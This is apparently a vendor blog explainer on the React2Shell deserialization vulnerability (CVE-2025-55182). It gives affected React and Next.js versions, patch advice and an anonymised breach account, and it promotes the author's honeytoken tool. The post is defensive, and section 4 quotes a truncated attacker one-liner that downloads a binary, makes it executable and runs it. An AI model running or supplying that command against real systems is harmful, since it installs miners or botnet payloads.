The short version
- CVE-2025-55182 is an unsafe deserialization bug in the React Server Components "Flight" protocol. No login is needed.
- Affected:
react-server-dom-webpack,-parceland-turbopack19.0.0, 19.1.0, 19.1.1 and 19.2.0, and the frameworks that bundle them, Next.js 15 and 16 with the App Router in particular. - Upgrade to the latest patch release on your line, not the first fix: follow-up CVEs in December 2025 needed further upgrades. In Next.js, upgrade Next itself, not just React.
- It was exploited within days of disclosure. A typical first move after the shell is to read environment variables and
.envfiles for credentials. - Patching closes the hole; a honeytoken in the same environment tells you, with almost no doubt, that someone got in before you patched.
1. What React2Shell is
React Server Components let the browser call functions that run on the server. The browser and server talk through a serialization format React calls Flight. CVE-2025-55182 is a flaw in how the server side decodes that format: a crafted request makes the server deserialize attacker-controlled data in a way that ends in running the attacker's code.
Three things made it as bad as a CVSS 10.0 suggests:
- No authentication. The endpoint that receives server function calls is reachable by anyone who can reach the app.
- Default configurations were affected. A Next.js App Router project created with the standard tooling was exploitable without the developer writing any server function of their own.
- It was quick to weaponize. Working proof-of-concept code was public about a day after the 3 December 2025 disclosure, and exploitation followed within days.
Next.js initially tracked its side as CVE-2025-66478. That ID was rejected as a duplicate of CVE-2025-55182, so you may see both in scanner output for the same issue.
2. Am I affected?
The vulnerable code lives in the React Server Components packages, and in the frameworks that bundle a copy of them.
| Component | Affected | First fixed releases |
|---|---|---|
react-server-dom-webpack, -parcel, -turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 (then superseded, see below) |
| Next.js (App Router) | 15.x and 16.x before the fixed releases; 14.3 canaries from 14.3.0-canary.77 | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 |
| Other RSC frameworks and bundler plugins | Any that ship the affected packages (React Router's RSC mode, Waku, Vite and Parcel RSC plugins were named in advisories) | Check each project's advisory |
Reported as not affected: stable Next.js 13.x and 14.x, Pages Router applications, and the Edge Runtime. A React app with no server at all (a static single-page app) has no Flight endpoint to attack.
The fastest check is the lockfile, not package.json: npm ls next react-server-dom-webpack or the equivalent for pnpm and Yarn shows what's actually installed. Then check the image you actually run, because a fixed lockfile in Git doesn't patch a container built last month.
3. What to upgrade to
- Go to the latest patch release on your line, not the first fixed one. On 11 December 2025 further React Server Components CVEs were disclosed (source code exposure and denial of service), and one of the first fixes was later considered incomplete. The first-fix versions in the table are the floor, not the target.
- In Next.js, upgrade Next. Next bundles its own copy of the RSC code, so bumping
reactalone doesn't fix it. - Rebuild and redeploy. The fix is only real when the running process is the new one. Check the image digest your service runs, not just the merged pull request.
- If you can't upgrade today: managed WAF rules from the major CDNs and cloud providers shipped for this CVE. They're a stopgap that buys hours, and bypasses for WAF rules on deserialization bugs are common.
If an affected version was internet-facing in December 2025, patching isn't the end of it. Assume the server may have been reached, and go through the next section.
4. What attackers do after the shell
The exploit gives code execution as the Node.js process. What came next in the public reports, and in our own incident, followed a familiar pattern:
- Download and run a binary. A one-liner along the lines of
busybox wget -O x86 http://…/x86; chmod 777 x86; ./x86. Cryptominers and botnet agents were common payloads. - Read the environment. Environment variables and
.envfiles hold database passwords, cloud keys and API tokens. Malware almost always reads them first, because it costs nothing. - Use what it found. Connect to the database, call the cloud API with the keys, and try to move data out.
Step 2 is the important one for defenders. The attacker's first move after the exploit is predictable, and it's the one you can turn into an alarm (section 6).
5. Our React2Shell incident: four days
We were hit by React2Shell on a Friday night in December 2025. The setup was ordinary: apps in containers, in a private network, behind a load balancer, with Dependabot pull requests waiting to be merged.
The attacker read the secrets from .env, used them to reach the database, and tried to export data. Our alerts did fire: CPU at 95%, an outbound traffic spike, and AWS Cost Anomaly emails. None of them said what was happening. The engineer on call had a plausible explanation (a database migration that week), acknowledged the alerts and went on with the weekend. Nobody looked again until Monday. Containment finished on Tuesday night: four days with an attacker inside.
The alerts worked. They measured symptoms, and symptoms have innocent explanations. That's the lesson we took into building Compass, and the subject of the talk One Fake Password Is Worth More Than 10,000 Alerts. Ten months later PHP2Shell hit the same way, and was contained in under two minutes.
6. How Compass helps with the next one
Compass is our open-source (Apache 2.0) operations agent for AWS. For a bug like React2Shell it does two separate jobs: it shortens the time to the patch, and it gives you a trustworthy alarm for the window before the patch lands.
Before: the patch pull request
- Every hour, the patch captain reads OSV, the CVE list, CISA's Known Exploited Vulnerabilities catalogue, EPSS, the npm advisories and the Linux distribution trackers. No key or account is needed.
- Every fifteen minutes it matches those advisories against what your account actually runs: the packages in each repository's
package.jsonand lockfile, the images in each ECS task definition, Lambda runtimes. It knows which workloads face the internet from the map (a public load balancer, a function URL, an open security group). - When the CVE is in KEV, likely to be exploited, rated 7.0 or higher, or the workload is internet-facing, it opens one fix pull request per repository without waiting for a click:
nextbumped to the fixed version, and a workflow that regenerates the lockfile with your own CI. It then reads the CI result, the image build and, if you name a staging twin, a short canary run. - It never merges. A fix that isn't a plain bump (a major upgrade, a transitive dependency) waits in the inbox with the reason written down.
During: active defense with honeytokens
- Compass plants honeytokens as Terraform in your repository: a decoy AWS access key that's denied every action, a decoy database login, a decoy
secrets/…envobject in S3. You put the decoy key and login in the container's environment next to the real ones. The app never uses them. - An attacker who reads the environment and tries the key trips it. CloudTrail logs the call, EventBridge delivers it, and Compass opens an incident that says which task definition the key was planted in, because each decoy lives in one place only.
- If you allow it, Compass responds: it restarts the ECS task so a clean copy replaces the compromised one, or deactivates a key. Each action takes a snapshot first, checks the result and can be rolled back, and the decision is recorded.
What it doesn't do
Compass doesn't block the exploit request (that's a WAF's job) and doesn't watch processes inside the container (that's GuardDuty Runtime Monitoring or Falco). A restart removes the attacker's foothold in that container, but if the image is still vulnerable they can come back, so the restart buys time and the patch closes the door. Keep your alerts; when a honeytoken trips they become the context around it. More about Compass · build a honeytoken by hand.
7. FAQ
What is React2Shell?
React2Shell is the name given to CVE-2025-55182, a critical remote code execution vulnerability in React Server Components disclosed on 3 December 2025. An attacker sends a crafted request to a server function endpoint, the server deserializes it unsafely, and the attacker's code runs on the server without any login. It has a CVSS score of 10.0.
Is CVE-2025-66478 a different vulnerability?
No. Next.js first requested CVE-2025-66478 for its side of the bug, and it was later rejected as a duplicate of CVE-2025-55182. Scanners and advisories may still show both IDs.
Is my Next.js app affected by React2Shell?
If it uses the App Router on Next.js 15.x or 16.x before the patched releases, assume yes, even if you never wrote a server function yourself. Stable Next.js 13.x and 14.x, Pages Router applications and the Edge Runtime were reported as not affected. Check your lockfile for the installed versions of next and react-server-dom-webpack.
Is upgrading React enough to fix React2Shell in Next.js?
No. Next.js bundles its own copy of the React Server Components code, so you need a patched Next.js release. Upgrade to the latest patch release on your Next.js line rather than the first fixed version, because follow-up issues were found and fixed in the weeks after disclosure.
Was React2Shell exploited in the wild?
Yes. Public proof-of-concept code appeared within about a day of disclosure, and security vendors reported exploitation within days, including scanning at internet scale. Treat any internet-facing server that ran an affected version in December 2025 as worth checking for signs of compromise, not just patching.
How do I know if someone exploited React2Shell on my server before I patched?
Look for unexpected child processes of the Node.js server (shells, wget, curl, busybox), outbound connections to unfamiliar IP addresses, and new files in writable directories such as /tmp or /dev/shm. Rotate every secret the process could read. Going forward, a decoy credential in the same environment turns the attacker's first credential grab into an alert you can trust.
Written by Ilia Dubovskii, founder of Beamreach. Versions and dates were checked against public advisories from React, Next.js and security vendors on 17 November 2026. Check the official React and Next.js advisories for the current patch releases before relying on a version number here. Our incident is anonymised and simplified.
Related: The *2Shell vulnerabilities, 2021 to 2026 · Node2Shell (CVE-2026-111497) · PHP2Shell · AWS canary credentials · One Fake Password Is Worth More Than 10,000 Alerts (talk)
Beamreach